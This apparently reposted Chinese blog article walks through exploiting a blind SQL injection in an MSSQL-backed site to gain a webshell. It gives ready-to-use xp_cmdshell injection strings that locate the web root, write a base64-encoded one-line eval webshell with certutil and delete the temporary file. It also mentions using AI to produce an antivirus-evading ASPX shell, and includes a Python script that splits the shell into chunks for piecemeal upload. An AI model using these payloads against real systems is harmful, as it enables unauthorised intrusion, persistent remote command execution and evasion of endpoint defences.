MSSQL--无回显到getshell"

admin 2026-10-20 20:46:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

//利用 for 变量 %~dpi 输出 favicon.png 所在的完整目录路径,并在末尾追加一个 @ 符号admin';EXEC master.dbo.xp_cmdshell 'for /r D:\\ %i in (favicon.png) do @for %j in (\"%~dpi.\") do @if /i \"%~nj\"==\"images\" (echo %~dpi@ > \"%~dpibuild.txt\")';--

2.写入webshell

先写个aspx脚本尝试:

admin';EXEC xp_cmdshell 'echo ^<^%@ Page Language=\"C#\" ^%^>^<^% Response.Write(\"hello world\"); ^%^> > \"D:\\LocalHost\\onlineshop\\attendance.in\\images\\fayfag.aspx\"';--

正常写入一句话:

写入临时Base64文件

admin'; exec master.dbo.xp_cmdshell 'echo PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+ > C:\\Windows\\Temp\\askfle.b64'--

解码到网站目录

admin'; exec master.dbo.xp_cmdshell 'certutil -decode C:\\Windows\\Temp\\askfle.b64 D:\\xxx\\images\\fayfag.aspx'--

清理临时文件

admin; exec master.dbo.xp_cmdshell 'del C:\\Windows\\Temp\\askfle.b64'--

页面返回503 且疑似有杀软

利用AI 生成aspx的免杀shell

分段传输:

import base64
def split_base64(file_path, chunk_size=2000):    with open(file_path, 'rb') as f:        b64 = base64.b64encode(f.read()).decode('ascii')    # 分割    chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)]    return chunks
chunks = split_base64('shell.aspx', 2000)for i, chunk in enumerate(chunks):    print(f'-- chunk {i+1} / {len(chunks)} --')    print(chunk)

使用 >> 追加,> 会覆盖。其他同上:

admin'; exec master.dbo.xp_cmdshell 'echo [块内容] >> C:\\Windows\\Temp\\payload.b64' --

外部交流群